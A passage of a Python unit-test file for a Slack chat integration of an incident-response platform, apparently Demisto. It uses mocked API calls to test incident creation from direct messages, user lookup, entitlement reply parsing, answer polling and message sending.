'ey' }} else: return 'sup' mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'findUser', return_value={'id': 'demisto_id'}) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(Slack, 'translate_create', side_effect=InterruptedError('omg')) user = js.loads(USERS)[0] # Arrange await Slack.handle_dm(user, 'open 123 incident', slack.WebClient) # Assert assert Slack.translate_create.call_count == 1 demisto_user = Slack.translate_create.call_args[0][3] incident_string = Slack.translate_create.call_args[0][0] calls = slack.WebClient.api_call.call_args_list chat_call = [c for c in calls if c[0][0] == 'chat.postMessage'] message_args = chat_call[0][1]['json'] assert demisto_user == {'id': 'demisto_id'} assert incident_string == 'open 123 incident' assert message_args == {'channel': 'ey', 'text': 'Failed creating incidents: omg'} @pytest.mark.asyncio async def test_translate_create(mocker): # Set import Slack @asyncio.coroutine def this_doesnt_create_incidents(incidents_json, user_name, email, demisto_id): return { 'id': 'new_incident', 'name': 'New Incident' } mocker.patch.object(Slack, 'create_incidents', side_effect=this_doesnt_create_incidents) mocker.patch.object(demisto, 'demistoUrls', return_value={'server': 'https://www.eizelulz.com:8443'}) demisto_user = {'id': 'demisto_user'} json_message = 'create incident json={“name”: “xyz”, “role”: “Analyst”}' wrong_json_message = 'create incident json={"name": "xyz"} name=abc' name_message = 'create incident name=eyy' name_type_message = 'create incident name= eyy type= Access' type_name_message = 'create incident type= Access name= eyy' type_message = 'create incident type= Phishing' success_message = 'Successfully created incident New Incident.\n' \ ' View it on: https://www.eizelulz.com:8443#/WarRoom/new_incident' # Arrange json_data = await Slack.translate_create(json_message, 'spengler', 'spengler@ghostbusters.example.com', demisto_user) wrong_json_data = await Slack.translate_create(wrong_json_message, 'spengler', 'spengler@ghostbusters.example.com', demisto_user) name_data = await Slack.translate_create(name_message, 'spengler', 'spengler@ghostbusters.example.com', demisto_user) name_type_data = await Slack.translate_create(name_type_message, 'spengler', 'spengler@ghostbusters.example.com', demisto_user) type_name_data = await Slack.translate_create(type_name_message, 'spengler', 'spengler@ghostbusters.example.com', demisto_user) type_data = await Slack.translate_create(type_message, 'spengler', 'spengler@ghostbusters.example.com', demisto_user) create_args = Slack.create_incidents.call_args_list json_args = create_args[0][0][0] name_args = create_args[1][0][0] name_type_args = create_args[2][0][0] type_name_args = create_args[3][0][0] # Assert assert Slack.create_incidents.call_count == 4 assert json_args == [{"name": "xyz", "role": "Analyst"}] assert name_args == [{"name": "eyy"}] assert name_type_args == [{"name": "eyy", "type": "Access"}] assert type_name_args == [{"name": "eyy", "type": "Access"}] assert json_data == success_message assert wrong_json_data == 'No other properties other than json should be specified.' assert name_data == success_message assert name_type_data == success_message assert type_name_data == success_message assert type_data == 'Please specify arguments in the following manner: name=<name> type=[type] or json=<json>.' @pytest.mark.asyncio async def test_translate_create_newline_json(mocker): # Set import Slack @asyncio.coroutine def this_doesnt_create_incidents(incidents_json, user_name, email, demisto_id): return { 'id': 'new_incident', 'name': 'New Incident' } mocker.patch.object(Slack, 'create_incidents', side_effect=this_doesnt_create_incidents) mocker.patch.object(demisto, 'demistoUrls', return_value={'server': 'https://www.eizelulz.com:8443'}) demisto_user = {'id': 'demisto_user'} json_message =\ '''``` create incident json={ "name":"xyz", "details": "1.1.1.1,8.8.8.8" ``` }''' success_message = 'Successfully created incident New Incident.\n' \ ' View it on: https://www.eizelulz.com:8443#/WarRoom/new_incident' # Arrange json_data = await Slack.translate_create(json_message, 'spengler', 'spengler@ghostbusters.example.com', demisto_user) create_args = Slack.create_incidents.call_args json_args = create_args[0][0] # Assert assert Slack.create_incidents.call_count == 1 assert json_args == [{"name": "xyz", "details": "1.1.1.1,8.8.8.8"}] assert json_data == success_message @pytest.mark.asyncio async def test_create_incidents_no_labels(mocker): from Slack import create_incidents # Set mocker.patch.object(demisto, 'createIncidents', return_value='nice') incidents = [{"name": "xyz", "details": "1.1.1.1,8.8.8.8"}] incidents_with_labels = [{'name': 'xyz', 'details': '1.1.1.1,8.8.8.8', 'labels': [{'type': 'Reporter', 'value': 'spengler'}, {'type': 'ReporterEmail', 'value': 'spengler@ghostbusters.example.com'}, {'type': 'Source', 'value': 'Slack'}]}] # Arrange data = await create_incidents(incidents, 'spengler', 'spengler@ghostbusters.example.com', 'demisto_user') incident_arg = demisto.createIncidents.call_args[0][0] user_arg = demisto.createIncidents.call_args[1]['userID'] assert incident_arg == incidents_with_labels assert user_arg == 'demisto_user' assert data == 'nice' @pytest.mark.asyncio async def test_create_incidents_with_labels(mocker): from Slack import create_incidents # Set mocker.patch.object(demisto, 'createIncidents', return_value='nice') incidents = [{'name': 'xyz', 'details': '1.1.1.1,8.8.8.8', 'labels': [{'type': 'Reporter', 'value': 'spengler'}, {'type': 'ReporterEmail', 'value': 'spengler@ghostbusters.example.com'}]}] incidents_with_labels = [{'name': 'xyz', 'details': '1.1.1.1,8.8.8.8', 'labels': [{'type': 'Reporter', 'value': 'spengler'}, {'type': 'ReporterEmail', 'value': 'spengler@ghostbusters.example.com'}, {'type': 'Source', 'value': 'Slack'}]}] # Arrange data = await create_incidents(incidents, 'spengler', 'spengler@ghostbusters.example.com', 'demisto_user') incident_arg = demisto.createIncidents.call_args[0][0] user_arg = demisto.createIncidents.call_args[1]['userID'] assert incident_arg == incidents_with_labels assert user_arg == 'demisto_user' assert data == 'nice' @pytest.mark.asyncio async def test_get_user_by_id_async_user_exists(mocker): from Slack import get_user_by_id_async # Set @asyncio.coroutine def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.info': return {'user': js.loads(USERS)[0]} mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) user_id = 'U012A3CDE' # Arrange user = await get_user_by_id_async(slack.WebClient, user_id) # Assert assert slack.WebClient.api_call.call_count == 0 assert demisto.setIntegrationContext.call_count == 0 assert user['name'] == 'spengler' @pytest.mark.asyncio async def test_get_user_by_id_async_user_doesnt_exist(mocker): from Slack import get_user_by_id_async # Set @asyncio.coroutine def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.info': return {'user': js.loads(USERS)[0]} mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'setIntegrationContext') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) user_id = 'XXXXXXX' # Arrange user = await get_user_by_id_async(slack.WebClient, user_id) # Assert assert slack.WebClient.api_call.call_count == 1 assert demisto.setIntegrationContext.call_count == 1 assert user['name'] == 'spengler' @pytest.mark.asyncio async def test_handle_text(mocker): import Slack # Set @asyncio.coroutine def fake_clean(text, client): return 'מה הולך' mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'addEntry') mocker.patch.object(Slack, 'clean_message', side_effect=fake_clean) user = js.loads(USERS)[0] investigation_id = '999' text = 'מה הולך' # Arrange await Slack.handle_text(slack.WebClient, investigation_id, text, user) entry_args = demisto.addEntry.call_args[1] # Assert assert demisto.addEntry.call_count == 1 assert entry_args['id'] == '999' assert entry_args['entry'] == 'מה הולך' assert entry_args['username'] == 'spengler' assert entry_args['email'] == 'spengler@ghostbusters.example.com' assert entry_args['footer'] == '\n**From Slack**' def test_check_for_answers_no_proxy(mocker, requests_mock): import Slack # Set mocker.patch.object(demisto, 'handleEntitlementForUser') mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25)) mocker.patch.object(Slack, 'add_info_headers') requests_mock.post( 'https://oproxy.demisto.ninja/slack-poll', json={'payload': PAYLOAD_JSON} ) integration_context = get_integration_context() integration_context['questions'] = js.dumps([{ 'thread': 'cool', 'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:34:25' }]) set_integration_context(integration_context) # Arrange Slack.check_for_answers() result_args = demisto.handleEntitlementForUser.call_args_list[0][0] # Assert assert demisto.handleEntitlementForUser.call_count == 1 assert demisto.setIntegrationContext.call_count == 1 assert requests_mock._adapter.last_request.proxies == OrderedDict() assert result_args[0] == '22' assert result_args[1] == 'e95cb5a1-e394-4bc5-8ce0-508973aaf298' assert result_args[2] == 'spengler@ghostbusters.example.com' assert result_args[3] == 'Eyy' assert result_args[4] == '43' # Should delete the question assert demisto.getIntegrationContext()['questions'] == js.dumps([]) def test_check_for_answers_proxy(mocker, requests_mock): import Slack # Set mocker.patch.object(Slack, 'handle_proxy', return_value={'https': 'https_proxy', 'http': 'http_proxy'}) Slack.init_globals() proxy_dict = OrderedDict() proxy_dict['https'] = 'https_proxy' proxy_dict['http'] = 'http_proxy' mocker.patch.object(demisto, 'handleEntitlementForUser') mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'add_info_headers') mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25)) requests_mock.post( 'https://oproxy.demisto.ninja/slack-poll', json={'payload': PAYLOAD_JSON} ) integration_context = get_integration_context() integration_context['questions'] = js.dumps([{ 'thread': 'cool', 'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:34:25' }]) set_integration_context(integration_context) # Arrange Slack.check_for_answers() result_args = demisto.handleEntitlementForUser.call_args_list[0][0] # Assert assert demisto.handleEntitlementForUser.call_count == 1 assert demisto.setIntegrationContext.call_count == 1 assert requests_mock._adapter.last_request.proxies == proxy_dict assert result_args[0] == '22' assert result_args[1] == 'e95cb5a1-e394-4bc5-8ce0-508973aaf298' assert result_args[2] == 'spengler@ghostbusters.example.com' assert result_args[3] == 'Eyy' assert result_args[4] == '43' # Should delete the question assert demisto.getIntegrationContext()['questions'] == js.dumps([]) def test_check_for_answers_continue(mocker, requests_mock): import Slack # Set mocker.patch.object(demisto, 'handleEntitlementForUser') mocker.patch.object(demisto, 'error') mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'add_info_headers') mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25)) requests_mock.post( 'https://oproxy.demisto.ninja/slack-poll', [{'json': {}, 'status_code': 200}, {'json': 'error', 'status_code': 401}, {'json': {'payload': PAYLOAD_JSON}, 'status_code': 200}] ) integration_context = get_integration_context() integration_context['questions'] = js.dumps([{ 'thread': 'notcool', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:34:25' }, { 'thread': 'notcool2', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe7@30|44', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:34:25' }, { 'thread': 'cool', 'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:34:25' }]) set_integration_context(integration_context) # Arrange Slack.check_for_answers() result_args = demisto.handleEntitlementForUser.call_args_list[0][0] # Assert assert demisto.handleEntitlementForUser.call_count == 1 assert demisto.setIntegrationContext.call_count == 1 assert demisto.error.call_count == 1 assert result_args[0] == '22' assert result_args[1] == 'e95cb5a1-e394-4bc5-8ce0-508973aaf298' assert result_args[2] == 'spengler@ghostbusters.example.com' assert result_args[3] == 'Eyy' assert result_args[4] == '43' # Should delete the question assert demisto.getIntegrationContext()['questions'] == js.dumps([{ 'thread': 'notcool', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:38:25' }, { 'thread': 'notcool2', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe7@30|44', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:38:25' }]) @pytest.mark.parametrize('sent, expected_minutes', [(None, 1), ('2019-09-26 18:37:25', 1), ('2019-09-26 18:10:25', 2), ('2019-09-26 17:38:24', 5), ('2019-09-25 18:10:25', 5)]) def test_get_poll_minutes(sent, expected_minutes): from Slack import get_poll_minutes # Set current = datetime.datetime(2019, 9, 26, 18, 38, 25) # Arrange minutes = get_poll_minutes(current, sent) # Assert assert minutes == expected_minutes def test_check_for_answers_no_answer(mocker, requests_mock): import Slack # Set mocker.patch.object(demisto, 'handleEntitlementForUser') mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'add_info_headers') mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25)) requests_mock.post( 'https://oproxy.demisto.ninja/slack-poll', json={} ) integration_context = get_integration_context() integration_context['questions'] = js.dumps([{ 'thread': 'cool', 'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:34:25' }, { 'thread': 'notcool', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:34:25' }]) set_integration_context(integration_context) # Arrange Slack.check_for_answers() # Assert assert demisto.handleEntitlementForUser.call_count == 0 assert demisto.setIntegrationContext.call_count == 1 # Should not delete the question assert demisto.getIntegrationContext()['questions'] == js.dumps([{ 'thread': 'cool', 'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:38:25' }, { 'thread': 'notcool', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:38:25' }]) def test_check_for_answers_no_polling(mocker, requests_mock): import Slack # Set mocker.patch.object(demisto, 'handleEntitlementForUser') mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'add_info_headers') mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25)) requests_mock.post( 'https://oproxy.demisto.ninja/slack-poll', json={} ) integration_context = get_integration_context() integration_context['questions'] = js.dumps([{ 'thread': 'cool', 'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:38:00' }, { 'thread': 'notcool', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:38:01' }]) set_integration_context(integration_context) # Arrange Slack.check_for_answers() # Assert assert demisto.handleEntitlementForUser.call_count == 0 assert demisto.setIntegrationContext.call_count == 0 assert demisto.getIntegrationContext.call_count == 1 # Should not delete the question assert demisto.getIntegrationContext()['questions'] == js.dumps([{ 'thread': 'cool', 'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:38:00' }, { 'thread': 'notcool', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'sent': '2019-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:38:01' }]) def test_check_for_answers_no_answer_expires(mocker, requests_mock): import Slack # Set mocker.patch.object(demisto, 'handleEntitlementForUser') mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(Slack, 'add_info_headers') mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25)) requests_mock.post( 'https://oproxy.demisto.ninja/slack-poll', json={} ) integration_context = get_integration_context() integration_context['questions'] = js.dumps([{ 'thread': 'cool', 'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:34:25' }, { 'thread': 'notcool', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44', 'reply': 'Thanks bro', 'expiry': '2019-09-26 18:35:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:34:25' }]) set_integration_context(integration_context) # Arrange Slack.check_for_answers() result_args = demisto.handleEntitlementForUser.call_args_list[0][0] # Assert assert demisto.handleEntitlementForUser.call_count == 1 assert demisto.setIntegrationContext.call_count == 1 assert result_args[0] == '30' assert result_args[1] == '4404dae8-2d45-46bd-85fa-64779c12abe8' assert result_args[2] == '' assert result_args[3] == 'NoResponse' assert result_args[4] == '44' # Should not delete the question assert demisto.getIntegrationContext()['questions'] == js.dumps([{ 'thread': 'cool', 'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43', 'reply': 'Thanks bro', 'expiry': '3000-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:38:25' }]) def test_check_for_answers_error(mocker, requests_mock): import Slack # Set mocker.patch.object(demisto, 'handleEntitlementForUser') mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'error') mocker.patch.object(Slack, 'add_info_headers') mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25)) requests_mock.post( 'https://oproxy.demisto.ninja/slack-poll', json='error', status_code=401 ) integration_context = get_integration_context() integration_context['questions'] = js.dumps([{ 'thread': 'cool', 'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43', 'expiry': '3000-09-26 18:38:25', 'default_response': 'NoResponse' }, { 'thread': 'notcool', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44', 'expiry': '3000-09-26 18:38:25', 'default_response': 'NoResponse' }]) set_integration_context(integration_context) # Arrange Slack.check_for_answers() # Assert assert demisto.handleEntitlementForUser.call_count == 0 assert demisto.setIntegrationContext.call_count == 1 assert demisto.error.call_count == 2 # Should not delete the question assert demisto.getIntegrationContext()['questions'] == js.dumps([{ 'thread': 'cool', 'entitlement': 'e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43', 'expiry': '3000-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:38:25' }, { 'thread': 'notcool', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44', 'expiry': '3000-09-26 18:38:25', 'default_response': 'NoResponse', 'last_poll_time': '2019-09-26 18:38:25' }]) def test_check_for_answers_handle_entitlement_error(mocker, requests_mock): import Slack # Set mocker.patch.object(demisto, 'handleEntitlementForUser', side_effect=InterruptedError()) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'error') mocker.patch.object(Slack, 'add_info_headers') mocker.patch.object(Slack, 'get_current_utc_time', return_value=datetime.datetime(2019, 9, 26, 18, 38, 25)) requests_mock.post( 'https://oproxy.demisto.ninja/slack-poll', json={'payload': PAYLOAD_JSON}, status_code=200 ) integration_context = get_integration_context() integration_context['questions'] = js.dumps([{ 'thread': 'notcool', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44', 'expiry': '3000-09-26 18:38:25', 'default_response': 'NoResponse' }]) set_integration_context(integration_context) # Arrange Slack.check_for_answers() # Assert assert demisto.handleEntitlementForUser.call_count == 1 assert demisto.setIntegrationContext.call_count == 1 assert demisto.error.call_count == 1 # Should not delete the question assert demisto.getIntegrationContext()['questions'] == js.dumps([]) @pytest.mark.asyncio async def test_check_entitlement(mocker): from Slack import check_and_handle_entitlement # Set mocker.patch.object(demisto, 'handleEntitlementForUser') user = { 'id': 'U123456', 'name': 'test', 'profile': { 'email': 'test@demisto.com' } } message1 = 'hi test@demisto.com 4404dae8-2d45-46bd-85fa-64779c12abe8@e093ba05-3f3c-402e-81a7-149db969be5d goodbye' message2 = 'hi test@demisto.com 4404dae8-2d45-46bd-85fa-64779c12abe8@22 goodbye' message3 = 'hi test@demisto.com 4404dae8-2d45-46bd-85fa-64779c12abe8@e093ba05-3f3c-402e-81a7-149db969be5d|4 goodbye' message4 = 'hi test@demisto.com 4404dae8-2d45-46bd-85fa-64779c12abe8@22|43 goodbye' message5 = 'hi test@demisto.com 43434@e093ba05-3f3c-402e-81a7-149db969be5d goodbye' message6 = 'hi test@demisto.com name-of-someone@mail-of-someone goodbye' # Arrange result1 = await check_and_handle_entitlement(message1, user, '') result2 = await check_and_handle_entitlement(message2, user, '') result3 = await check_and_handle_entitlement(message3, user, '') result4 = await check_and_handle_entitlement(message4, user, '') result5 = await check_and_handle_entitlement(message5, user, '') result6 = await check_and_handle_entitlement(message6, user, '') result1_args = demisto.handleEntitlementForUser.call_args_list[0][0] result2_args = demisto.handleEntitlementForUser.call_args_list[1][0] result3_args = demisto.handleEntitlementForUser.call_args_list[2][0] result4_args = demisto.handleEntitlementForUser.call_args_list[3][0] assert result1 == 'Thank you for your response.' assert result2 == 'Thank you for your response.' assert result3 == 'Thank you for your response.' assert result4 == 'Thank you for your response.' assert result5 == '' assert result6 == '' assert demisto.handleEntitlementForUser.call_count == 4 assert result1_args[0] == 'e093ba05-3f3c-402e-81a7-149db969be5d' # incident ID assert result1_args[1] == '4404dae8-2d45-46bd-85fa-64779c12abe8' # GUID assert result1_args[2] == 'test@demisto.com' # email assert result1_args[3] == 'hi test@demisto.com goodbye' # content assert result1_args[4] == '' # task id assert result2_args[0] == '22' assert result2_args[1] == '4404dae8-2d45-46bd-85fa-64779c12abe8' assert result2_args[2] == 'test@demisto.com' assert result2_args[3] == 'hi test@demisto.com goodbye' assert result2_args[4] == '' assert result3_args[0] == 'e093ba05-3f3c-402e-81a7-149db969be5d' assert result3_args[1] == '4404dae8-2d45-46bd-85fa-64779c12abe8' assert result3_args[2] == 'test@demisto.com' assert result3_args[3] == 'hi test@demisto.com goodbye' assert result3_args[4] == '4' assert result4_args[0] == '22' assert result4_args[1] == '4404dae8-2d45-46bd-85fa-64779c12abe8' assert result4_args[2] == 'test@demisto.com' assert result4_args[3] == 'hi test@demisto.com goodbye' assert result4_args[4] == '43' @pytest.mark.asyncio async def test_check_entitlement_with_context(mocker): from Slack import check_and_handle_entitlement # Set mocker.patch.object(demisto, 'handleEntitlementForUser') mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) user = { 'id': 'U123456', 'name': 'test', 'profile': { 'email': 'test@demisto.com' } } integration_context = get_integration_context() integration_context['questions'] = js.dumps([{ 'thread': 'cool', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@22|43' }, { 'thread': 'notcool', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44' }]) set_integration_context(integration_context) # Arrange await check_and_handle_entitlement('hola', user, 'cool') result_args = demisto.handleEntitlementForUser.call_args_list[0][0] # Assert assert demisto.handleEntitlementForUser.call_count == 1 assert result_args[0] == '22' assert result_args[1] == '4404dae8-2d45-46bd-85fa-64779c12abe8' assert result_args[2] == 'test@demisto.com' assert result_args[3] == 'hola' assert result_args[4] == '43' # Should delete the question assert demisto.getIntegrationContext()['questions'] == js.dumps([{ 'thread': 'notcool', 'entitlement': '4404dae8-2d45-46bd-85fa-64779c12abe8@30|44' }]) def test_send_request(mocker): import Slack # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} elif method == 'conversations.list': return {'channels': js.loads(CONVERSATIONS)} elif method == 'im.open': return {'channel': {'id': 'im_channel'}} return {} mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(Slack, 'send_file', return_value='neat') mocker.patch.object(Slack, 'send_message', return_value='cool') # Arrange user_res = Slack.slack_send_request('spengler', None, None, message='Hi') channel_res = Slack.slack_send_request(None, 'general', None, file='file') user_args = Slack.send_message.call_args[0] channel_args = Slack.send_file.call_args[0] calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] conversations_call = [c for c in calls if c[0][0] == 'conversations.list'] # Assert assert len(users_call) == 0 assert len(conversations_call) == 0 assert Slack.send_message.call_count == 1 assert Slack.send_file.call_count == 1 assert user_args[0] == ['im_channel'] assert user_args[1] == '' assert user_args[2] is False assert user_args[4] == 'Hi' assert user_args[5] == '' assert channel_args[0] == ['C012AB3CD'] assert channel_args[1] == 'file' assert channel_args[3] == '' assert user_res == 'cool' assert channel_res == 'neat' def test_send_request_different_name(mocker): import Slack # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} elif method == 'conversations.list': return {'channels': js.loads(CONVERSATIONS)} elif method == 'im.open': return {'channel': {'id': 'im_channel'}} return {} mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'setIntegrationContext') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(Slack, 'send_message', return_value='cool') # Arrange channel_res = Slack.slack_send_request(None, 'incident-684', None, message='Hi') channel_args = Slack.send_message.call_args[0] calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] conversations_call = [c for c in calls if c[0][0] == 'conversations.list'] # Assert assert len(users_call) == 0 assert len(conversations_call) == 0 assert Slack.send_message.call_count == 1 assert channel_args[0] == ['GKB19PA3V'] assert channel_args[1] == '' assert channel_args[2] is False assert channel_args[4] == 'Hi' assert channel_args[5] == '' assert channel_res == 'cool' def test_send_request_with_severity(mocker): import Slack mocker.patch.object(demisto, 'params', return_value={'incidentNotificationChannel': 'general', 'min_severity': 'High', 'notify_incidents': True}) Slack.init_globals() # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} elif method == 'conversations.list': return {'channels': js.loads(CONVERSATIONS)} elif method == 'im.open': return {'channel': {'id': 'im_channel'}} return {} mocker.patch.object(demisto, 'args', return_value={'severity': '3', 'message': '!!!', 'messageType': 'incidentOpened'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'results') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(Slack, 'send_message', return_value={'ts': 'cool'}) # Arrange Slack.slack_send() send_args = Slack.send_message.call_args[0] results = demisto.results.call_args_list[0][0] calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] conversations_call = [c for c in calls if c[0][0] == 'conversations.list'] # Assert assert len(users_call) == 0 assert len(conversations_call) == 0 assert Slack.send_message.call_count == 1 assert send_args[0] == ['C012AB3CD'] assert send_args[1] is None assert send_args[2] is False assert send_args[4] == '!!!' assert send_args[5] == '' assert results[0]['Contents'] == 'Message sent to Slack successfully.\nThread ID is: cool' def test_send_request_with_notification_channel(mocker): import Slack mocker.patch.object(demisto, 'params', return_value={'incidentNotificationChannel': 'general', 'min_severity': 'High', 